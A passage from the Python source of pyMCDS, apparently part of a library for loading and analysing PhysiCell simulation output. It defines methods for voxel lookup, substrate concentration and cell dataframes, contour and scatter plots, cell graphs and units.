tr_y[1]):\n print(f'Warning @ pyMCDS.is_in_mesh : y = {y} out of bounds: y-range is {tr_y}.')\n b_isinmesh = False\n elif (z < tr_z[0]) or (z > tr_z[1]):\n print(f'Warning @ pyMCDS.is_in_mesh : z = {z} out of bounds: z-range is {tr_z}.')\n b_isinmesh = False\n\n # output\n if halt and not b_isinmesh:\n sys.exit('Processing stopped!')\n return b_isinmesh\n\n\n def get_voxel_ijk(self, x, y, z, is_in_mesh=True):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n x: floating point number\n position x-coordinate.\n\n y: floating point number\n position y-coordinate.\n\n z: floating point number\n position z-coordinate.\n\n is_in_mesh: boolean; default is True\n should function check, if the given coordinate is in the mesh,\n and only calculate ijk values if is so?\n\n output:\n li_ijk : list of 3 integers\n i, j, k indices for the voxel\n containing the x, y, z position.\n\n description:\n function returns the meshgrid indices i, j, k\n for the given position x, y, z.\n \"\"\"\n lr_ijk = None\n b_calc = True\n\n if is_in_mesh:\n b_calc = self.is_in_mesh(x=x, y=y, z=z, halt=False)\n\n if b_calc:\n tr_m, tr_n, tr_p = self.get_mesh_mnp_range()\n dm, dn, dp = self.get_voxel_spacing()\n\n i = int(np.round((x - tr_m[0]) / dm))\n j = int(np.round((y - tr_n[0]) / dn))\n k = int(np.round((z - tr_p[0]) / dp))\n\n lr_ijk = [i, j, k]\n\n return lr_ijk\n\n\n ## MICROENVIRONMENT RELATED FUNCTIONS ##\n\n def get_substrate_names(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n ls_substrate: list of stings\n alphabetically ordered list of all tracked substrates.\n\n description:\n function returns all chemical species names,\n modeled in the microenvironment.\n \"\"\"\n ls_substrate = sorted(self.data['continuum_variables'].keys())\n return ls_substrate\n\n\n def get_substrate_dict(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n ds_substrate: dictionary of stings\n dictionary that maps substrate IDs to labels.\n\n description:\n function returns a dictionary that maps ID and name from all\n microenvironment_setup variables,\n specified in the PhysiCell_settings.xml file.\n \"\"\"\n return self.data['metadata']['substrate'].copy()\n\n\n def get_substrate_df(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n df_substrae: pandas dataframe\n one substrate per row and decay_rate and difusion_coefficient\n factors as columns.\n\n description:\n function returns a dataframe with each substrate's\n decay_rate and difusion_coefficient.\n \"\"\"\n # extract data\n ls_column = ['substrate','decay_rate','diffusion_coefficient']\n ll_sub = []\n for s_substrate in self.get_substrate_names():\n s_decay_value = self.data['continuum_variables'][s_substrate]['decay_rate']['value']\n s_diffusion_value = self.data['continuum_variables'][s_substrate]['diffusion_coefficient']['value']\n ll_sub.append([s_substrate, s_decay_value, s_diffusion_value])\n\n # generate dataframe\n df_substrate = pd.DataFrame(ll_sub, columns=ls_column)\n df_substrate.set_index('substrate', inplace=True)\n df_substrate.columns.name = 'feature'\n\n # output\n return df_substrate\n\n\n def get_concentration(self, substrate, z_slice=None, halt=False):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n substrate: string\n substrate name.\n\n z_slice: floating point number; default is None\n z-axis position to slice a 2D xy-plain out of the\n 3D substrate concentration mesh. if None the\n whole 3D mesh will be returned.\n\n halt: boolean; default is False\n should program execution break or just spit out a warning,\n if z_slice position is not an exact mesh center coordinate?\n if False, z_slice will be adjusted to the nearest\n mesh center value, the smaller one, if the coordinate\n lies on a saddle point.\n\n output:\n ar_conc: numpy array of floating point numbers\n substrate concentration meshgrid or xy-plain slice\n through the meshgrid.\n\n description:\n function returns the concentration meshgrid, or a xy-plain slice\n out of the whole meshgrid, for the specified chemical species.\n \"\"\"\n ar_conc = self.data['continuum_variables'][substrate]['data'].copy()\n\n # check if z_slice is a mesh center or None\n if not (z_slice is None):\n _, _, ar_p_axis = self.get_mesh_mnp_axis()\n if not (z_slice in ar_p_axis):\n print(f'Warning @ pyMCDS.get_concentration : specified z_slice {z_slice} is not an element of the z-axis mesh centers set {ar_p_axis}.')\n if halt:\n sys.exit('Processing stopped!')\n else:\n z_slice = ar_p_axis[abs(ar_p_axis - z_slice).argmin()]\n print(f'z_slice set to {z_slice}.')\n\n # filter by z_slice\n _, _, ar_p_grid = self.get_mesh()\n mask = ar_p_grid == z_slice\n ar_conc = ar_conc[mask].reshape((ar_p_grid.shape[0], ar_p_grid.shape[1]))\n\n # output\n return ar_conc\n\n\n def get_concentration_at(self, x, y, z=0):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n x: floating point number\n position x-coordinate.\n\n y: floating point number\n position y-coordinate.\n\n z: floating point number; default is 0\n position z-coordinate.\n\n output:\n ar_concs: numpy array of floating point numbers\n array of substrate concentrations in the order\n given by get_substrate_names().\n\n description:\n function return concentrations of each chemical species\n inside a particular voxel that contains the point specified\n in the arguments.\n \"\"\"\n ar_concs = None\n\n # is coordinate inside the domain?\n b_calc = self.is_in_mesh(x=x, y=y, z=z, halt=False)\n if b_calc:\n\n # get voxel coordinate and substrate names\n i, j, k = self.get_voxel_ijk(x, y, z, is_in_mesh=False)\n ls_substrate = self.get_substrate_names()\n ar_concs = np.zeros(len(ls_substrate))\n\n # get substrate concentrations\n for n, s_substrate in enumerate(ls_substrate):\n ar_concs[n] = self.get_concentration(s_substrate)[j, i, k]\n if self.verbose:\n print(f'pyMCD.get_concentration_at(x={x},y={y},z={z}) | jkl: [{i},{j},{k}] | substrate: {s_substrate} {ar_concs[n]}')\n\n # output\n return ar_concs\n\n\n def get_concentration_df(self, z_slice=None, halt=False, states=1, drop=set(), keep=set()):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n z_slice: floating point number; default is None\n z-axis position to slice a 2D xy-plain out of the\n 3D substrate concentration mesh. if None the\n whole 3D mesh will be returned.\n\n halt: boolean; default is False\n should program execution break or just spit out a warning,\n if z_slice position is not an exact mesh center coordinate?\n if False, z_slice will be adjusted to the nearest\n mesh center value, the smaller one, if the coordinate\n lies on a saddle point.\n\n states: integer; default is 1\n minimal number of states a variable has to have to be outputted.\n variables that have only 1 state carry no information.\n None is a state too.\n\n drop: set of strings; default is an empty set\n set of column labels to be dropped for the dataframe.\n don't worry: essential columns like ID, coordinates\n and time will never be dropped.\n Attention: when the keep parameter is given, then\n the drop parameter has to be an empty set!\n\n keep: set of strings; default is an empty set\n set of column labels to be kept in the dataframe.\n set states=1 to be sure that all variables are kept.\n don't worry: essential columns like ID, coordinates\n and time will always be kept.\n\n output:\n df_conc : pandas dataframe\n dataframe with all substrate concentrations in each voxel.\n\n description:\n function returns a dataframe with concentration values\n for all chemical species in all voxels. additionally, this\n dataframe lists voxel and mesh center coordinates.\n \"\"\"\n # check keep and drop\n if (len(keep) > 0) and (len(drop) > 0):\n sys.exit(f\"Error @ pyMCDS.get_concentration_df : when keep is given {keep}, then drop has to be an empty set {drop}!\")\n\n # check if z_slice is a mesh center or None\n if not (z_slice is None):\n _, _, ar_p_axis = self.get_mesh_mnp_axis()\n if not (z_slice in ar_p_axis):\n print(f'Warning @ pyMCDS.get_concentration_df : specified z_slice {z_slice} is not an element of the z-axis mesh centers set {ar_p_axis}.')\n if halt:\n sys.exit('Processing stopped!')\n else:\n z_slice = ar_p_axis[abs(ar_p_axis - z_slice).argmin()]\n print(f'z_slice set to {z_slice}.')\n\n # flatten mesh coordnates\n ar_m, ar_n, ar_p = self.get_mesh()\n ar_m = ar_m.flatten(order='C')\n ar_n = ar_n.flatten(order='C')\n ar_p = ar_p.flatten(order='C')\n\n # get mesh spacing\n dm, dn, dp = self.get_voxel_spacing()\n\n # get voxel coordinates\n ai_i = ((ar_m - ar_m.min()) / dm)\n ai_j = ((ar_n - ar_n.min()) / dn)\n ai_k = ((ar_p - ar_p.min()) / dp)\n\n # handle coordinates\n ls_column = [\n 'voxel_i','voxel_j','voxel_k',\n 'mesh_center_m','mesh_center_n','mesh_center_p'\n ]\n la_data = [ai_i, ai_j, ai_k, ar_m, ar_n, ar_p]\n\n # handle concentrations\n for s_substrate in self.get_substrate_names():\n ls_column.append(s_substrate)\n ar_conc = self.get_concentration(substrate=s_substrate, z_slice=None)\n la_data.append(ar_conc.flatten(order='C'))\n\n # generate dataframe\n aa_data = np.array(la_data)\n df_conc = pd.DataFrame(aa_data.T, columns=ls_column)\n df_conc['time'] = self.get_time()\n df_conc['runtime'] = self.get_runtime() / 60 # in min\n d_dtype = {'voxel_i': int, 'voxel_j': int, 'voxel_k': int}\n df_conc = df_conc.astype(d_dtype)\n\n # filter z_slice\n if not (z_slice is None):\n df_conc = df_conc.loc[df_conc.mesh_center_p == z_slice, :]\n\n # filter\n es_feature = set(df_conc.columns).difference(es_coor_conc)\n if (len(keep) > 0):\n es_delete = es_feature.difference(keep)\n else:\n es_delete = es_feature.intersection(drop)\n\n if (states > 1):\n for s_column in set(df_conc.columns).difference(es_coor_conc):\n if len(set(df_conc.loc[:,s_column])) < states:\n es_delete.add(s_column)\n print('es_delete:', es_delete)\n df_conc.drop(es_delete, axis=1, inplace=True)\n\n # output\n df_conc.sort_values(['voxel_i', 'voxel_j', 'voxel_k', 'time'], inplace=True)\n return df_conc\n\n\n def get_contour(self, substrate, z_slice=0, vmin=None, vmax=None, alpha=1, fill=True, cmap='viridis', title=None, grid=True, xlim=None, ylim=None, xyequal=True, figsize=None, ax=None):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n substrate: string\n substrate name.\n\n z_slice: floating point number; default is 0\n z-axis position to slice a 2D xy-plain out of the\n 3D substrate concentration mesh. if z_slice position\n is not an exact mesh center coordinate, then z_slice\n will be adjusted to the nearest mesh center value,\n the smaller one, if the coordinate lies on a saddle point.\n\n vmin: floating point number; default is None\n color scale min value.\n None will take the min value found in the data.\n\n vmax: floating point number; default is None\n color scale max value.\n None will take the max value found in the data.\n\n alpha: floating point number; default is 1\n alpha channel transparency value\n between 1 (not transparent at all) and 0 (totally transparent).\n\n fill: boolean; default is True\n True generates a matplotlib contourf plot.\n False generates a matplotlib contour plot.\n\n cmap: string; default is viridis\n matplotlib color map color label.\n https://matplotlib.org/stable/tutorials/colors/colormaps.html\n\n title: string; default None\n possible plot title string.\n\n grid: boolean; default True\n should be plotted on a grid or on a blank page?\n True will plot on a grid.\n\n xlim: tuple of two floating point numbers; default is None\n to specify min and max x axis value.\n None will extract agreeable values from the data.\n\n ylim: tuple of two floating point numbers; default is None\n to specify min and max y axis value.\n None will extract agreeable values from the data.\n\n xyequal: boolean; default True\n to specify equal axis spacing for x and y axis.\n\n figsize: tuple of floating point numbers; default is None\n the specif the figure x and y measurement in inch.\n None result in the default matplotlib setting, which is [6.4, 4.8].\n\n ax: matplotlib axis object; default setting is None\n the ax object, which will be used as a canvas for plotting.\n None will generate a figure and ax object from scratch.\n\n output:\n fig: matplotlib figure, containing the ax axis object,\n with contour plot and color bar.\n\n description:\n function returns a matplotlib contour (or contourf) plot,\n inclusive color bar, for the substrate specified.\n \"\"\"\n # handle z_slice input\n _, _, ar_p_axis = self.get_mesh_mnp_axis()\n if not (z_slice in ar_p_axis):\n z_slice = ar_p_axis[abs(ar_p_axis - z_slice).argmin()]\n print(f'z_slice set to {z_slice}.')\n\n # get data z slice\n df_conc = self.get_concentration_df(states=1, drop=set(), keep=set())\n df_conc = df_conc.loc[(df_conc.mesh_center_p == z_slice),:]\n # extend to x y domain border\n df_mmin = df_conc.loc[(df_conc.mesh_center_m == df_conc.mesh_center_m.min()), :].copy()\n df_mmin.mesh_center_m = self.get_xyz_range()[0][0]\n df_mmax = df_conc.loc[(df_conc.mesh_center_m == df_conc.mesh_center_m.max()), :].copy()\n df_mmax.mesh_center_m = self.get_xyz_range()[0][1]\n df_conc = pd.concat([df_conc, df_mmin, df_mmax], axis=0)\n df_nmin = df_conc.loc[(df_conc.mesh_center_n == df_conc.mesh_center_n.min()), :].copy()\n df_nmin.mesh_center_n =self.get_xyz_range()[1][0]\n df_nmax = df_conc.loc[(df_conc.mesh_center_n == df_conc.mesh_center_n.max()), :].copy()\n df_nmax.mesh_center_n = self.get_xyz_range()[1][1]\n df_conc = pd.concat([df_conc, df_nmin, df_nmax], axis=0)\n # sort dataframe\n df_conc.sort_values(['mesh_center_m', 'mesh_center_n', 'mesh_center_p'], inplace=True)\n\n # meshgrid shape\n ti_shape = (self.get_voxel_ijk_axis()[0].shape[0]+2, self.get_voxel_ijk_axis()[1].shape[0]+2)\n x = (df_conc.loc[:,'mesh_center_m'].values).reshape(ti_shape)\n y = (df_conc.loc[:,'mesh_center_n'].values).reshape(ti_shape)\n z = (df_conc.loc[:,substrate].values).reshape(ti_shape)\n\n # handle vmin and vmax input\n if (vmin is None):\n vmin = np.floor(df_conc.loc[:,substrate].min())\n if (vmax is None):\n vmax = np.ceil(df_conc.loc[:,substrate].max())\n\n # get figure and axis orbject\n if (ax is None):\n # handle figsize\n if (figsize is None):\n figsize = (6.4, 4.8)\n fig, ax = plt.subplots(figsize=figsize)\n else:\n fig = plt.gcf()\n\n # set equal axis spacing\n if xyequal:\n ax.axis('equal')\n\n # get contour plot\n if fill:\n ax.contourf(x,y,z, vmin=vmin, vmax=vmax, alpha=alpha, cmap=cmap)\n else:\n ax.contour(x,y,z, vmin=vmin, vmax=vmax, alpha=alpha, cmap=cmap)\n\n # set title\n if not (title is None):\n ax.set_title(title)\n\n # set grid\n ax.grid(visible=grid)\n\n # set axis lim\n if not (xlim is None):\n ax.set_xlim(xlim[0], xlim[1])\n if not (ylim is None):\n ax.set_ylim(ylim[0], ylim[1])\n\n # get colorbar\n fig.colorbar(\n mappable=cm.ScalarMappable(norm=colors.Normalize(vmin=vmin, vmax=vmax), cmap=cmap),\n label=substrate,\n ax=ax\n )\n\n # output\n return fig\n\n\n ## CELL RELATED FUNCTIONS ##\n\n def get_cell_variables(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n ls_variables: list of strings\n alphabetically ordered list of all tracked cell variable names.\n\n\n description:\n function returns all modeled cell variable names.\n \"\"\"\n ls_variables = sorted(self.data['discrete_cells']['data'].keys())\n return ls_variables\n\n\n def get_celltype_dict(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n ds_celltype: dictionary of stings\n dictionary that maps cell_type IDs to labels.\n\n description:\n function returns a dictionary that maps ID and name from all\n cell_definitions, specified in the PhysiCell_settings.xml file.\n \"\"\"\n return self.data['metadata']['cell_type'].copy()\n\n\n def get_cell_df(self, states=1, drop=set(), keep=set()):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n states: integer; default is 1\n minimal number of states a variable has to have to be outputted.\n variables that have only 1 state carry no information.\n None is a state too.\n\n drop: set of strings; default is an empty set\n set of column labels to be dropped for the dataframe.\n don't worry: essential columns like ID, coordinates\n and time will never be dropped.\n Attention: when the keep parameter is given, then\n the drop parameter has to be an empty set!\n\n keep: set of strings; default is an empty set\n set of column labels to be kept in the dataframe.\n set states=1 to be sure that all variables are kept.\n don't worry: essential columns like ID, coordinates,\n time and runtime (wall time) will always be kept.\n\n output:\n df_cell: pandas dataframe\n dataframe lists, one cell per row, all tracked variables\n values related to this cell. the variables are cell_position,\n mesh_center, and voxel coordinates, all cell_variables,\n all substrate rates and concentrations, and additional\n the surrounding cell density.\n\n description:\n function returns a dataframe with a cell centric view\n of the simulation.\n \"\"\"\n # check keep and drop\n if (len(keep) > 0) and (len(drop) > 0):\n sys.exit(f\"Error @ pyMCDS.get_cell_df : when keep is given {keep}, then drop has to be an empty set {drop}!\")\n\n # get cell position and more\n df_cell = pd.DataFrame(self.data['discrete_cells']['data'])\n df_cell['time'] = self.get_time()\n df_cell['runtime'] = self.get_runtime() / 60 # in min\n df_voxel = df_cell.loc[:,['position_x','position_y','position_z']].copy()\n\n # get mesh spacing\n dm, dn, dp = self.get_voxel_spacing()\n\n # get mesh and voxel min max values\n tr_m_range, tr_n_range, tr_p_range = self.get_mesh_mnp_range()\n tr_i_range, tr_j_range, tr_k_range = self.get_voxel_ijk_range()\n\n # get voxel for each cell\n df_voxel.loc[:,'voxel_i'] = np.round((df_voxel.loc[:,'position_x'] - tr_m_range[0]) / dm).astype(int)\n df_voxel.loc[:,'voxel_j'] = np.round((df_voxel.loc[:,'position_y'] - tr_n_range[0]) / dn).astype(int)\n df_voxel.loc[:,'voxel_k'] = np.round((df_voxel.loc[:,'position_z'] - tr_p_range[0]) / dp).astype(int)\n df_voxel.loc[(df_voxel.voxel_i > tr_i_range[1]), 'voxel_i'] = tr_i_range[1] # i_max\n df_voxel.loc[(df_voxel.voxel_i < tr_i_range[0]), 'voxel_i'] = tr_i_range[0] # i_min\n df_voxel.loc[(df_voxel.voxel_j > tr_j_range[1]), 'voxel_j'] = tr_j_range[1] # j_max\n df_voxel.loc[(df_voxel.voxel_j < tr_j_range[0]), 'voxel_j'] = tr_j_range[0] # j_min\n df_voxel.loc[(df_voxel.voxel_k > tr_k_range[1]), 'voxel_k'] = tr_k_range[1] # k_max\n df_voxel.loc[(df_voxel.voxel_k < tr_k_range[0]), 'voxel_k'] = tr_k_range[0] # k_min\n\n # merge voxel (inner join)\n df_cell = pd.merge(df_cell, df_voxel, on=['position_x', 'position_y', 'position_z'])\n\n # merge cell_density (left join)\n df_cellcount = df_cell.loc[:,['voxel_i','voxel_j','voxel_k','ID']].groupby(['voxel_i','voxel_j','voxel_k']).count().reset_index()\n ls_column = list(df_cellcount.columns)\n ls_column[-1] = 'cell_count_voxel'\n df_cellcount.columns = ls_column\n s_density = f\"cell_density_{self.data['metadata']['spatial_units']}3\"\n df_cellcount[s_density] = df_cellcount.loc[:,'cell_count_voxel'] / self.get_voxel_volume()\n df_cell = pd.merge(\n df_cell,\n df_cellcount,\n on = ['voxel_i', 'voxel_j', 'voxel_k'],\n how = 'left',\n )\n\n # get column label set\n es_column = set(df_cell.columns)\n\n # get vector length\n for s_var_spatial in es_var_spatial:\n es_vector = es_column.intersection({f'{s_var_spatial}_x',f'{s_var_spatial}_y',f'{s_var_spatial}_z'})\n if len(es_vector) > 0:\n # linear algebra\n #a_vector = df_cell.loc[:,ls_vector].values\n #a_length = np.sqrt(np.diag(np.dot(a_vector, a_vector.T)))\n # pythoagoras\n a_length = None\n for s_vector in es_vector:\n a_vectorsq = df_cell.loc[:,s_vector].values**2\n if (a_length is None):\n a_length = a_vectorsq\n else:\n a_length += a_vectorsq\n a_length = a_length**(1/2)\n # result\n df_cell[f'{s_var_spatial}_vectorlength'] = a_length\n\n # microenvironment\n if self.microenv:\n # merge substrate (left join)\n df_sub = self.get_substrate_df()\n for s_sub in df_sub.index:\n for s_rate in df_sub.columns:\n s_var = f'{s_sub}_{s_rate}'\n df_cell[s_var] = df_sub.loc[s_sub,s_rate]\n\n # merge concentration (left join)\n df_conc = self.get_concentration_df(z_slice=None, states=1, drop=set(), keep=set())\n df_conc.drop({'time', 'runtime'}, axis=1, inplace=True)\n df_cell = pd.merge(\n df_cell,\n df_conc,\n on = ['voxel_i', 'voxel_j', 'voxel_k'],\n how = 'left',\n )\n\n # variable typing\n do_type = {}\n [do_type.update({k:v}) for k,v in do_var_type.items() if k in es_column]\n do_type.update(self.custom_type)\n do_int = do_type.copy()\n [do_int.update({k:int}) for k in do_int.keys()]\n ls_int = sorted(do_int.keys())\n df_cell.loc[:,ls_int] = df_cell.loc[:,ls_int].round()\n df_cell = df_cell.astype(do_int)\n df_cell = df_cell.astype(do_type)\n\n # categorical translation\n df_cell.loc[:,'current_death_model'].replace(ds_death_model, inplace=True) # bue 20230614: this column looks like an artefact to me\n df_cell.loc[:,'cycle_model'].replace(ds_cycle_model, inplace=True)\n df_cell.loc[:,'cycle_model'].replace(ds_death_model, inplace=True)\n df_cell.loc[:,'current_phase'].replace(ds_cycle_phase, inplace=True)\n df_cell.loc[:,'current_phase'].replace(ds_death_phase, inplace=True)\n df_cell.loc[:,'cell_type'].replace(self.data['metadata']['cell_type'], inplace=True)\n\n # filter\n es_feature = set(df_cell.columns).difference(es_coor_cell)\n if (len(keep) > 0):\n es_delete = es_feature.difference(keep)\n else:\n es_delete = es_feature.intersection(drop)\n\n if (states > 1): # by minimal number of states\n for s_column in set(df_cell.columns).difference(es_coor_cell):\n if len(set(df_cell.loc[:,s_column])) < states:\n es_delete.add(s_column)\n df_cell.drop(es_delete, axis=1, inplace=True)\n\n # output\n df_cell = df_cell.loc[:,sorted(df_cell.columns)]\n df_cell.set_index('ID', inplace=True)\n df_cell = df_cell.copy()\n return df_cell\n\n\n def get_cell_df_at(self, x, y, z=0, states=1, drop=set(), keep=set()):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n x: floating point number\n position x-coordinate.\n\n y: floating point number\n position y-coordinate.\n\n z: floating point number; default is 0\n position z-coordinate.\n\n states: integer; default is 1\n minimal number of states a variable has to have to be outputted.\n variables that have only 1 state carry no information.\n None is a state too.\n\n drop: set of strings; default is an empty set\n set of column labels to be dropped for the dataframe.\n don't worry: essential columns like ID, coordinates\n and time will never be dropped.\n Attention: when the keep parameter is given, then\n the drop parameter has to be an empty set!\n\n keep: set of strings; default is an empty set\n set of column labels to be kept in the dataframe.\n set states=1 to be sure that all variables are kept.\n don't worry: essential columns like ID, coordinates\n and time will always be kept.\n\n output:\n df_voxel: pandas dataframe\n x, y, z voxel filtered cell dataframe.\n\n description:\n function returns the cell dataframe for the voxel\n specified with the x, y, z position coordinate.\n \"\"\"\n df_voxel = None\n\n # is coordinate inside the domain?\n b_calc = self.is_in_mesh(x=x, y=y, z=z, halt=False)\n if b_calc:\n\n # get mesh and mesh spacing\n dm, dn, dp = self.get_voxel_spacing()\n ar_m, ar_n, ar_p = self.get_mesh()\n\n # get voxel coordinate\n i, j, k = self.get_voxel_ijk(x, y, z, is_in_mesh=False)\n m = ar_m[j, i, k]\n n = ar_n[j, i, k]\n p = ar_p[j, i, k]\n\n # get voxel\n df_cell = self.get_cell_df(states=states, drop=drop, keep=keep)\n inside_voxel = (\n (df_cell['position_x'] <= m + dm / 2) &\n (df_cell['position_x'] >= m - dm / 2) &\n (df_cell['position_y'] <= n + dn / 2) &\n (df_cell['position_y'] >= n - dn / 2) &\n (df_cell['position_z'] <= p + dp / 2) &\n (df_cell['position_z'] >= p - dp / 2)\n )\n df_voxel = df_cell[inside_voxel]\n\n # output\n return df_voxel\n\n\n def get_scatter(self, focus='cell_type', z_slice=0, z_axis=None, cmap='viridis', title=None, grid=True, legend_loc='lower left', xlim=None, ylim=None, xyequal=True, s=None, figsize=None, ax=None):\n \"\"\"\n input:\n self: pyMCDSts class instance\n\n focus: string; default is 'cell_type'\n column name within cell dataframe.\n\n z_slice: floating point number; default is 0\n z-axis position to slice a 2D xy-plain out of the\n 3D substrate concentration mesh. if z_slice position\n is not an exact mesh center coordinate, then z_slice\n will be adjusted to the nearest mesh center value,\n the smaller one, if the coordinate lies on a saddle point.\n\n z_axis: for a categorical focus: set of labels;\n for a numeric focus: tuple of two floats; default is None\n depending on the focus column variable dtype, default extracts\n labels or min and max values from data.\n\n cmap: dictionary of strings or string; default viridis.\n dictionary that maps labels to colors strings.\n matplotlib colormap string.\n https://matplotlib.org/stable/tutorials/colors/colormaps.html\n\n title: string; default None\n possible plot title string.\n\n grid: boolean default True.\n plot axis grid lines.\n\n legend_loc: string; default is 'lower left'.\n the location of the categorical legend, if applicable.\n possible strings are: best,\n upper right, upper center, upper left, center left,\n lower left, lower center, lower right, center right,\n center.\n\n xlim: tuple of two floats; default is None\n x axis min and max value.\n default takes min and max from mesh x axis range.\n\n ylim: tuple of two floats; default is None\n y axis min and max value.\n default takes min and max from mesh y axis range.\n\n xyequal: boolean; default True\n to specify equal axis spacing for x and y axis.\n\n s: integer; default is None\n scatter plot dot size in pixel.\n typographic points are 1/72 inch.\n the marker size s is specified in points**2.\n plt.rcParams['lines.markersize']**2 is in my case 36.\n None tries to take the value from the initial.svg file.\n fall back setting is 36.\n\n figsize: tuple of floating point numbers; default is None\n the specif the figure x and y measurement in inch.\n None result in the default matplotlib setting, which is [6.4, 4.8].\n\n output:\n fig: matplotlib figure, containing the ax axis object,\n with scatter plot and color bar (numerical data)\n or color legend (categorical data).\n\n description:\n function returns a (pandas) matplotlib scatter plot,\n inclusive color bar, for the substrate specified.\n \"\"\"\n # handle z_slice\n _, _, ar_p_axis = self.get_mesh_mnp_axis()\n if not (z_slice in ar_p_axis):\n z_slice = ar_p_axis[abs(ar_p_axis - z_slice).argmin()]\n print(f'z_slice set to {z_slice}.')\n\n # get data z slice\n df_cell = self.get_cell_df(states=1, drop=set(), keep=set())\n df_cell = df_cell.loc[(df_cell.mesh_center_p == z_slice),:]\n\n # handle z_axis categorical cases\n if (str(df_cell.loc[:,focus].dtype) in {'bool', 'object'}):\n lr_extrema = [None, None]\n if (z_axis is None):\n # extract set of labels from data\n es_label = set(df_cell.loc[:,focus])\n else:\n es_label = z_axis\n\n # handle z_axis numerical cases\n else: # df_cell.loc[:,focus].dtype is numeric\n es_label = None\n if (z_axis is None):\n # extract min and max values from data\n r_min = df_cell.loc[:,focus].min()\n r_max = df_cell.loc[:,focus].max()\n lr_extrema = [r_min, r_max]\n else:\n lr_extrema = z_axis\n\n # handle z_axis summary\n print(f'labels found: {es_label}.')\n print(f'min max extrema set to: {lr_extrema}.')\n\n # handle xlim and ylim\n if (xlim is None):\n xlim = self.get_xyz_range()[0]\n print(f'xlim set to: {xlim}.')\n if (ylim is None):\n ylim = self.get_xyz_range()[1]\n print(f'ylim set to: {ylim}.')\n\n # get figure and axis orbject\n if (ax is None):\n # handle figsize\n if (figsize is None):\n figsize = (6.4, 4.8)\n fig, ax = plt.subplots(figsize=figsize)\n else:\n fig = plt.gcf()\n\n # layout the canavas\n if xyequal:\n ax.axis('equal')\n\n # handle categorical variable\n if not (es_label is None):\n s_focus_color = focus + '_color'\n # use specified label color dictionary\n if type(cmap) is dict:\n ds_color = cmap\n df_cell[s_focus_color] = [ds_color[s_label] for s_label in df_cell.loc[:, focus]]\n # generate label color dictionary\n else:\n ds_color = pdplt.df_label_to_color(\n df_abc = df_cell,\n s_label = focus,\n es_label = es_label,\n s_cmap = cmap,\n b_shuffle = False,\n )\n # generate color list\n c = list(df_cell.loc[:, s_focus_color].values)\n s_cmap = None\n\n # handle numeric variable\n else:\n c = focus\n s_cmap = cmap\n\n # plot scatter\n df_cell.plot(\n kind = 'scatter',\n x = 'position_x',\n y = 'position_y',\n c = c,\n vmin = lr_extrema[0],\n vmax = lr_extrema[1],\n cmap = s_cmap,\n xlim = xlim,\n ylim = ylim,\n s = s,\n grid = grid,\n title = title,\n ax = ax,\n )\n\n # plot categorical data legen\n if not (es_label is None):\n pdplt.ax_colorlegend(\n ax = ax,\n ds_color = ds_color,\n s_loc = legend_loc,\n s_fontsize = 'small',\n )\n\n # output\n return fig\n\n\n ## GRAPH RELATED FUNCTIONS ##\n\n def get_attached_graph_dict(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n dei_graph: dictionary of sets of integers\n maps each cell ID to the attached connected cell IDs.\n\n description:\n function returns the attached cell graph as a dictionary object.\n \"\"\"\n return self.data['discrete_cells']['graph']['attached_cells'].copy()\n\n\n def get_neighbor_graph_dict(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n dei_graph: dictionary of sets of integers\n maps each cell ID to the connected neighbor cell IDs.\n\n description:\n function returns the cell neighbor graph as a dictionary object.\n \"\"\"\n return self.data['discrete_cells']['graph']['neighbor_cells'].copy()\n\n\n ## UNIT RELATED FUNCTIONS ##\n\n def get_unit_se(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n se_unit: pandas series\n series lists all tracked variables from metadata,\n cell, and microenvironment and maps them to their unit.\n\n description:\n function returns a series that lists all tracked variables\n and their units.\n \"\"\"\n # extract data\n ds_unit = {}\n # units for metadata parameters\n ds_unit.update({'time': [self.data['metadata']['time_units']]})\n ds_unit.update({'runtime': [self.data['metadata']['runtime_units']]})\n ds_unit.update({'spatial_unit': [self.data['metadata']['spatial_units']]})\n\n # microenvironment\n if self.microenv:\n for s_substrate in self.get_substrate_names():\n # unit from substrate parameters\n s_unit = self.data['continuum_variables'][s_substrate]['units']\n ds_unit.update({s_substrate: [s_unit]})\n\n # units from microenvironment parameters\n s_diffusion_key = f'{s_substrate}_diffusion_coefficient'\n s_diffusion_unit = self.data['continuum_variables'][s_substrate]['diffusion_coefficient']['units']\n ds_unit.update({s_diffusion_key: [s_diffusion_unit]})\n\n s_decay_key = f'{s_substrate}_decay_rate'\n s_decay_unit = self.data['continuum_variables'][s_substrate]['decay_rate']['units']\n ds_unit.update({s_decay_key: [s_decay_unit]})\n\n # units from cell parameters\n ds_unit.update(self.data['discrete_cells']['units'])\n\n # output\n del ds_unit['ID']\n se_unit = pd.Series(ds_unit)\n se_unit.index.name = 'feature'\n se_unit.name = 'unit'\n se_unit.sort_index(inplace=True)\n return se_unit\n\n\n ## LOAD DATA ##\n\n def _read_xml(self, xmlfile, output_path='.'):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n xmlfile: string\n name of the xml file with or without path\n in the with path case, output_path has to be set to the default!\n\n output_path: string; default '.'\n relative or absolute path to the directory where\n the PhysiCell output files are stored.\n\n output:\n self: pyMCDS class instance with loaded data.\n\n description:\n internal function to load the data from the PhysiCell output files\n into the pyMCDS instance.\n \"\"\"\n #####################\n # path and filename #\n #####################\n\n # file and path manipulation\n s_xmlfile = xmlfile.replace('\\\\','/')\n if (xmlfile.find('/') > -1) and (output_path == '.'):\n ls_xmlfile = xmlfile.split('/')\n s_xmlfile = ls_xmlfile.pop(-1)\n output_path = '/'.join(ls_xmlfile)\n s_outputpath = output_path\n\n # generate output dictionary\n d_mcds = {}\n d_mcds['metadata'] = {}\n d_mcds['metadata']['substrate'] = {}\n d_mcds['metadata']['cell_type'] = {}\n 